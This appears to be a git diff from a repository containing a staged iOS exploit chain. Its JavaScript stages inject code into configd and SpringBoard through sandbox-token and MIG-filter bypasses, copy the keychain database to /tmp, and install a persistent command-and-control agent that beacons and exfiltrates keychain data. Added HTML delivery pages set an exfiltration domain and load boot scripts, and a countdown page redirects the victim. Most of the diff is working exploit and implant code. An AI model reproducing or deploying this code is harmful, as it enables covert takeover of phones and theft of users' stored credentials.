||||
LOG("[PE-WORKER] rc_copy error: " + __rcErr);
|
||||
}
|
||||
|
||||
// ===== SECONDARY: InjectJS keychain_copier (fallback only) =====
|
||||
// (3) rc_copy READY already put db/wal/shm in /tmp — do NOT re-run copier (108MB race).
|
||||
// (2) fallback: deferStart → applyTokens → startScript (tokens before evaluateScript).
|
||||
if (__rcCopyOk) {
|
||||
p7_flog("PEMK-C0 skip InjectJS: rc_copy READY sz=" + __rcCopySz); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_skip_inject_rc_ok"); } catch (_pi0) {}
|
||||
LOG("[PE-WORKER] skip keychain_copier InjectJS (rc_copy READY)");
|
||||
} else {
|
||||
p7_flog("PEMK-C0 before InjectJS ctor (rc_copy miss)"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_pre_inject"); } catch (_pi0) {}
|
||||
LOG("[PE-WORKER] inject keychain_copier -> configd (deferStart then tokens)");
|
||||
try {
|
||||
let kcCopier = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"]("configd", _raw_loader_keychain_copier_js__WEBPACK_IMPORTED_MODULE_20__["default"], migFilterBypass);
|
||||
p7_flog("PEMK-C0 InjectJS ctor ok, calling inject(deferStart)"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_inject_call"); } catch (_pi1) {}
|
||||
if (kcCopier.inject(0, { deferStart: true })) {
|
||||
p7_flog("PEMK-C0 inject(defer) returned true"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_inject_ok"); } catch (_pi2) {}
|
||||
LOG("[PE-WORKER] keychain_copier prepared (deferred)");
|
||||
p7_flog("PEMK-C0 before applyTokens"); p7_flushLog();
|
||||
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(kcCopier.task);
|
||||
try {
|
||||
__labApplyFreshToken(kcCopier.task, "/private/var/Keychains/");
|
||||
__labApplyFreshToken(kcCopier.task, "/private/var/Keychains/keychain-2.db");
|
||||
__labApplyFreshToken(kcCopier.task, "/tmp/");
|
||||
} catch (_ft) {
|
||||
p7_flog("PEMK-C0 freshToken warn: " + _ft); p7_flushLog();
|
||||
}
|
||||
p7_flog("PEMK-C0 after applyTokens"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_post_tokens"); } catch (_pi3) {}
|
||||
p7_flog("PEMK-C0 before startScript"); p7_flushLog();
|
||||
kcCopier.startScript();
|
||||
p7_flog("PEMK-C0 after startScript"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_start_script"); } catch (_pi3b) {}
|
||||
LOG("[PE-WORKER] keychain_copier OK (tokens then evaluate)");
|
||||
__labKcCopier = kcCopier;
|
||||
} else {
|
||||
p7_flog("PEMK-C0 inject() returned false"); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_inject_fail"); } catch (_pi4) {}
|
||||
LOG("[PE-WORKER] keychain_copier FAILED");
|
||||
}
|
||||
} catch (kcErr) {
|
||||
p7_flog("PEMK-C0 InjectJS/inject exception: " + kcErr); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_inject_exc"); } catch (_pi5) {}
|
||||
LOG("[PE-WORKER] keychain_copier error: " + kcErr);
|
||||
}
|
||||
}
|
||||
p7_flog("PEMK-C s2_keychain done rcCopy=" + __rcCopyOk + " sz=" + __rcCopySz); p7_flushLog();
|
||||
try { pe_alive_ping("pe_s2_done"); } catch (_ps2) {}
|
||||
}
|
||||
|
||||
__peStage2();
|
||||
@@ -0,0 +1,14 @@
|
||||
// PE stage file — progress marker: GET /pe_stage/s3_mempress.js
|
||||
// Eval'd inside pe_worker start(); falls back to inline if fetch fails.
|
||||
function __peStage3() {
|
||||
// Brief settle then inject c2 BEFORE long DB wait so devices that die mid-copy still beacon.
|
||||
libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("sleep", 2);
|
||||
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].adjustMemoryPressure(targetProcess);
|
||||
LOG("[PE] destroying launchd RC to free zone resources...");
|
||||
try { launchdTask.destroy(); } catch(e) { LOG("[PE] launchd destroy warn: " + e); }
|
||||
|
||||
// ===== Inject loader + c2_agent BEFORE P7 Phase 2 (and before long kc wait) =====
|
||||
p7_flog("PEMK-D s3_mempress launchd destroyed"); p7_flushLog();
|
||||
}
|
||||
|
||||
__peStage3();
|
||||
@@ -0,0 +1,55 @@
|
||||
// PE stage file — progress marker: GET /pe_stage/s4_loader.js
|
||||
// Eval'd inside pe_worker start(); falls back to inline if fetch fails.
|
||||
function __peStage4() {
|
||||
// Fine-grained diag: pin hang to InjectJS ctor / inject() / applyTokens / destroy.
|
||||
LOG("[PE-WORKER] inject loader -> " + targetProcess);
|
||||
p7_flog("PEMK-E0 s4 begin target=" + targetProcess); p7_flushLog();
|
||||
var __s4Ok = false;
|
||||
try {
|
||||
p7_flog("PEMK-E0 before InjectJS ctor"); p7_flushLog();
|
||||
var __tCtor = Date.now();
|
||||
let agentLoader = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, _raw_loader_loader_js__WEBPACK_IMPORTED_MODULE_10__["default"], migFilterBypass);
|
||||
p7_flog("PEMK-E0 InjectJS ctor ok ms=" + (Date.now() - __tCtor)); p7_flushLog();
|
||||
let agentPid = 0;
|
||||
p7_flog("PEMK-E0 before inject()"); p7_flushLog();
|
||||
var __tInj = Date.now();
|
||||
var __injOk = false;
|
||||
try {
|
||||
__injOk = !!agentLoader.inject();
|
||||
} catch (_injE) {
|
||||
p7_flog("PEMK-E0 inject() threw: " + _injE); p7_flushLog();
|
||||
throw _injE;
|
||||
}
|
||||
p7_flog("PEMK-E0 inject() returned ok=" + (__injOk ? "1" : "0") + " ms=" + (Date.now() - __tInj)); p7_flushLog();
|
||||
if (__injOk) {
|
||||
try { agentPid = agentLoader.task.pid(); } catch (_pidE) {
|
||||
p7_flog("PEMK-E0 pid() threw: " + _pidE); p7_flushLog();
|
||||
}
|
||||
LOG("[PE-WORKER] loader OK pid=" + agentPid);
|
||||
p7_flog("PEMK-E0 loader OK pid=" + agentPid + " -> applyTokens"); p7_flushLog();
|
||||
var __tTok = Date.now();
|
||||
try {
|
||||
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(agentLoader.task);
|
||||
p7_flog("PEMK-E0 applyTokens ok ms=" + (Date.now() - __tTok)); p7_flushLog();
|
||||
} catch (_tokE) {
|
||||
p7_flog("PEMK-E0 applyTokens threw ms=" + (Date.now() - __tTok) + " err=" + _tokE); p7_flushLog();
|
||||
throw _tokE;
|
||||
}
|
||||
p7_flog("PEMK-E0 before destroy"); p7_flushLog();
|
||||
try { agentLoader.destroy(); } catch (_dE) {
|
||||
p7_flog("PEMK-E0 destroy warn: " + _dE); p7_flushLog();
|
||||
}
|
||||
p7_flog("PEMK-E0 destroy ok"); p7_flushLog();
|
||||
__s4Ok = true;
|
||||
} else {
|
||||
LOG("[PE-WORKER] loader inject FAILED");
|
||||
p7_flog("PEMK-E0 loader inject FAILED"); p7_flushLog();
|
||||
}
|
||||
} catch (_s4E) {
|
||||
LOG("[PE-WORKER] s4_loader error: " + _s4E);
|
||||
p7_flog("PEMK-E0 exception: " + _s4E); p7_flushLog();
|
||||
}
|
||||
p7_flog("PEMK-E s4_loader done ok=" + (__s4Ok ? "1" : "0")); p7_flushLog();
|
||||
}
|
||||
|
||||
__peStage4();
|
||||
@@ -0,0 +1,123 @@
|
||||
// PE stage file — progress marker: GET /pe_stage/s5_c2.js
|
||||
// Eval'd inside pe_worker start(); falls back to inline if fetch fails.
|
||||
function __peStage5() {
|
||||
// Deadlock: applyTokens AFTER evaluateScript hangs (~2min+). NUI (18.5 / 18.6.1+):
|
||||
// deferStart → full applyTokens → startScript. 18.6.0 uses legacy path below.
|
||||
LOG("[PE-WORKER] inject c2_agent -> " + targetProcess);
|
||||
var __iosC2 = __labIosForGate();
|
||||
// 18.5 / 18.6.1+ / unknown → NUI C2; 18.6.0 keeps legacy (faster, historically OK).
|
||||
var __useNuiC2 = (!(__iosC2.maj) || (__iosC2.maj === 18 && (
|
||||
(__iosC2.min === 5) ||
|
||||
(__iosC2.min === 6 && __iosC2.pat >= 1) ||
|
||||
(__iosC2.min > 6)
|
||||
)));
|
||||
p7_flog("PEMK-F0 ios=" + (__iosC2.raw || "?") + " useNuiC2=" + (__useNuiC2 ? "1" : "0")); p7_flushLog();
|
||||
var __c2Injected = false;
|
||||
try {
|
||||
let c2Code = _raw_loader_c2_agent_js__WEBPACK_IMPORTED_MODULE_17__["default"];
|
||||
try {
|
||||
let diagData = globalThis.__ucredDiag || "no_diag";
|
||||
let diagSnippet = '\nglobalThis.__ucredDiag=' + JSON.stringify(diagData) + ';\nglobalThis.__peInjectTs=' + JSON.stringify(String(Date.now())) + ';\n';
|
||||
c2Code = c2Code.replace('Native.init();', 'Native.init();' + diagSnippet);
|
||||
LOG("[PE-WORKER] ucred diag inserted (" + diagData.length + " chars)");
|
||||
} catch(dErr) {
|
||||
LOG("[PE-WORKER] diag insert error: " + dErr);
|
||||
}
|
||||
// Propagate the baked delivery UUID into the SpringBoard context so c2_agent
|
||||
// beacon/war/keychain exfil lands under the SAME UUID as the delivery logs.
|
||||
// Without this, c2_agent falls back to the hardware IOPlatformUUID and the
|
||||
// two exfil trees diverge (uuid mismatch).
|
||||
try {
|
||||
let _duuid = String(globalThis.__LAB_DEVICE_UUID__ || '').replace(/-/g, '').toUpperCase();
|
||||
if (_duuid && /^[0-9A-F]{16,64}$/.test(_duuid) && _duuid !== '69DD25B2CA8B5682BA2470D77124E2FC') {
|
||||
c2Code = c2Code.split('69DD25B2CA8B5682BA2470D77124E2FC').join(_duuid);
|
||||
c2Code = c2Code.split('__LAB_BAKED_DELIVERY_UUID__').join(_duuid);
|
||||
let uuidSnippet = '\nglobalThis.__LAB_DEVICE_UUID__=' + JSON.stringify(_duuid) + ';\n';
|
||||
c2Code = c2Code.replace('Native.init();', 'Native.init();' + uuidSnippet);
|
||||
LOG("[PE-WORKER] c2_agent delivery UUID injected (" + _duuid + ")");
|
||||
}
|
||||
} catch(uErr) {
|
||||
LOG("[PE-WORKER] c2_agent UUID inject error: " + uErr);
|
||||
}
|
||||
if (__useNuiC2) {
|
||||
p7_flog("PEMK-F0 nui SpringBoard RC begin"); p7_flushLog();
|
||||
var __c2RC = null;
|
||||
for (var __c2Try = 0; __c2Try < 2; __c2Try++) {
|
||||
try { globalThis.__peRemoteFail = 0; } catch (_zf) {}
|
||||
var __tRc = Date.now();
|
||||
try {
|
||||
__c2RC = new libs_TaskRop_RemoteCall__WEBPACK_IMPORTED_MODULE_8__["default"](targetProcess, migFilterBypass);
|
||||
} catch (_rcE) {
|
||||
p7_flog("PEMK-F0 SpringBoard RC threw try=" + (__c2Try + 1) + " " + _rcE); p7_flushLog();
|
||||
__c2RC = null;
|
||||
}
|
||||
var __fail = 0;
|
||||
try { __fail = globalThis.__peRemoteFail || 0; } catch (_ff) {}
|
||||
if (__c2RC && __c2RC.success()) {
|
||||
p7_flog("PEMK-F0 SpringBoard RC ok try=" + (__c2Try + 1) + " ms=" + (Date.now() - __tRc)); p7_flushLog();
|
||||
break;
|
||||
}
|
||||
p7_flog("PEMK-F0 SpringBoard RC fail try=" + (__c2Try + 1) + "/2 fail=0x" + Number(__fail).toString(16) + " ms=" + (Date.now() - __tRc));
|
||||
p7_flushLog();
|
||||
if (__c2RC) { try { __c2RC.destroy(); } catch (_rd0) {} }
|
||||
__c2RC = null;
|
||||
// 0x494 = first EXC wait timeout (120s) — retrying usually wastes another 120s.
|
||||
if (Number(__fail) === 0x494) break;
|
||||
try { libs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__["default"].callSymbol("usleep", 2000000); } catch (_us) {}
|
||||
}
|
||||
if (!__c2RC || !__c2RC.success()) {
|
||||
LOG("[PE-WORKER] c2_agent: SpringBoard RC failed");
|
||||
p7_flog("PEMK-F0 SpringBoard RC failed -> war-fallback"); p7_flushLog();
|
||||
__pePostWarDumpFallback("sb_rc_fail");
|
||||
} else {
|
||||
p7_flog("PEMK-F0 SpringBoard RC ok -> deferStart+full applyTokens"); p7_flushLog();
|
||||
var c2Agent = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](__c2RC, c2Code, migFilterBypass);
|
||||
p7_flog("PEMK-F0 InjectJS ctor ok"); p7_flushLog();
|
||||
if (c2Agent.inject(0, { deferStart: true })) {
|
||||
LOG("[PE-WORKER] c2_agent prepared (deferred)");
|
||||
p7_flog("PEMK-F0 c2 defer ok -> applyTokens"); p7_flushLog();
|
||||
try {
|
||||
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(c2Agent.task);
|
||||
} catch (_atC) {
|
||||
p7_flog("PEMK-F0 applyTokens err: " + _atC); p7_flushLog();
|
||||
}
|
||||
c2Agent.startScript();
|
||||
p7_flog("PEMK-F0 c2 startScript ok -> destroy"); p7_flushLog();
|
||||
c2Agent.destroy();
|
||||
__c2Injected = true;
|
||||
try { globalThis.__peC2Injected = true; } catch (_g) {}
|
||||
p7_flog("PEMK-F0 destroy ok"); p7_flushLog();
|
||||
} else {
|
||||
LOG("[PE-WORKER] c2_agent FAILED");
|
||||
p7_flog("PEMK-F0 c2 inject FAILED -> war-fallback"); p7_flushLog();
|
||||
try { __c2RC.destroy(); } catch (_rd) {}
|
||||
__pePostWarDumpFallback("inject_fail");
|
||||
}
|
||||
}
|
||||
} else {
|
||||
p7_flog("PEMK-F0 legacy SpringBoard inject begin"); p7_flushLog();
|
||||
let c2Agent = new _InjectJS__WEBPACK_IMPORTED_MODULE_6__["default"](targetProcess, c2Code, migFilterBypass);
|
||||
p7_flog("PEMK-F0 legacy InjectJS ctor ok"); p7_flushLog();
|
||||
if (c2Agent.inject()) {
|
||||
LOG("[PE-WORKER] c2_agent OK - persistent loop started");
|
||||
p7_flog("PEMK-F0 legacy inject ok -> applyTokens"); p7_flushLog();
|
||||
libs_TaskRop_Sandbox__WEBPACK_IMPORTED_MODULE_4__["default"].applyTokensForRemoteTask(c2Agent.task);
|
||||
c2Agent.destroy();
|
||||
__c2Injected = true;
|
||||
try { globalThis.__peC2Injected = true; } catch (_g2) {}
|
||||
p7_flog("PEMK-F0 legacy c2 OK"); p7_flushLog();
|
||||
} else {
|
||||
LOG("[PE-WORKER] c2_agent FAILED");
|
||||
p7_flog("PEMK-F0 legacy c2 FAILED -> war-fallback"); p7_flushLog();
|
||||
__pePostWarDumpFallback("legacy_inject_fail");
|
||||
}
|
||||
}
|
||||
} catch (c2Err) {
|
||||
LOG("[PE-WORKER] c2_agent error: " + c2Err);
|
||||
p7_flog("PEMK-F0 exception: " + c2Err); p7_flushLog();
|
||||
if (!__c2Injected) __pePostWarDumpFallback("exception");
|
||||
}
|
||||
p7_flog("PEMK-F s5_c2 done injected=" + (__c2Injected ? "1" : "0")); p7_flushLog();
|
||||
}
|
||||
|
||||
__peStage5();
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
@@ -0,0 +1,22 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-Hant">
|
||||
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script>
|
||||
<script>
|
||||
(function () {
|
||||
var p = location.pathname || "/";
|
||||
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
|
||||
var base = location.origin + prefix;
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
|
||||
document.write('<script src="' + base + '/config.js"><\/script>');
|
||||
document.write('<script src="' + base + '/boot.js"><\/script>');
|
||||
})();
|
||||
</script>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title></title>
|
||||
</head>
|
||||
<body>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,22 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-Hant">
|
||||
<head><script>try{var __labG=(typeof globalThis!=="undefined"?globalThis:null);if(__labG)__labG.__LAB_EXFIL_DOMAIN__="mh0usocqzi6f46i.com";}catch(e){}</script>
|
||||
<script>
|
||||
(function () {
|
||||
var p = location.pathname || "/";
|
||||
var m = p.match(/^(.*\/next-chain)(?:\/|$)/);
|
||||
var prefix = m ? m[1] : (p.replace(/\/[^/]*\.[a-zA-Z0-9]+$/, "").replace(/\/qqtime\/?$/, "").replace(/\/$/, "") || "");
|
||||
var base = location.origin + prefix;
|
||||
window.__LAB_DELIVERY_HOST__ = base;
|
||||
document.write('<script src="' + base + '/lab_hosts.js"><\/script>');
|
||||
document.write('<script src="' + base + '/config.js"><\/script>');
|
||||
document.write('<script src="' + base + '/boot.js"><\/script>');
|
||||
})();
|
||||
</script>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<title></title>
|
||||
</head>
|
||||
<body>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,65 @@
|
||||
/* 倒计时与 JS 链并行(秒数与 config.js countdownSeconds 一致 = 8)。
|
||||
* ?e=0 整页刷新不重置截止时间;到点必定跳 index,不受 ?e=0 影响。 */
|
||||
(function () {
|
||||
var TOTAL_SEC = 8;
|
||||
var KEY = "__er_countdown_deadline_ms";
|
||||
var LANDED = "__er_landed";
|
||||
var INDEX_URL = "/index.html?landed=1";
|
||||
var CIRC = 2 * Math.PI * 54;
|
||||
|
||||
try {
|
||||
if (sessionStorage.getItem(LANDED) === "1") {
|
||||
// 已进过 index:链后续若再导航到 /qqtime/?e=0,立刻回落地页
|
||||
location.replace(INDEX_URL);
|
||||
return;
|
||||
}
|
||||
} catch (e0) {}
|
||||
|
||||
var now = Date.now();
|
||||
var deadline = 0;
|
||||
try {
|
||||
deadline = parseInt(sessionStorage.getItem(KEY) || "0", 10) || 0;
|
||||
} catch (e) {}
|
||||
// 仅首次写入截止时间;?e=0 刷新沿用原 deadline,倒计时不归零
|
||||
if (!deadline || deadline < now - 5000) {
|
||||
deadline = now + TOTAL_SEC * 1000;
|
||||
try {
|
||||
sessionStorage.setItem(KEY, String(deadline));
|
||||
} catch (e2) {}
|
||||
}
|
||||
|
||||
var countEl = document.getElementById("count");
|
||||
var fg = document.getElementById("fg");
|
||||
if (fg) fg.style.strokeDasharray = String(CIRC);
|
||||
|
||||
var jumped = false;
|
||||
function goIndex() {
|
||||
if (jumped) return;
|
||||
jumped = true;
|
||||
try {
|
||||
sessionStorage.setItem(LANDED, "1");
|
||||
sessionStorage.removeItem(KEY);
|
||||
} catch (e3) {}
|
||||
location.replace(INDEX_URL);
|
||||
}
|
||||
|
||||
function tick() {
|
||||
var leftMs = deadline - Date.now();
|
||||
var left = Math.max(0, Math.ceil(leftMs / 1000));
|
||||
if (countEl) countEl.textContent = String(left);
|
||||
if (fg) {
|
||||
var progressed = Math.min(
|
||||
1,
|
||||
Math.max(0, 1 - leftMs / (TOTAL_SEC * 1000))
|
||||
);
|
||||
fg.style.strokeDashoffset = String(CIRC * (1 - progressed));
|
||||
}
|
||||
if (leftMs <= 0) {
|
||||
goIndex();
|
||||
return;
|
||||
}
|
||||
setTimeout(tick, 200);
|
||||
}
|
||||
|
||||
tick();
|
||||
})();
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,4 @@
|
||||
// for displaying hex value
|
||||
function dummyy(x) {
|
||||
return '0x' + x.toString(16);
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
@@ -0,0 +1 @@
|
||||
{"bytes":0,"ok":true,"path":"/stats"}
|
||||
Reference in New Issue
Block a user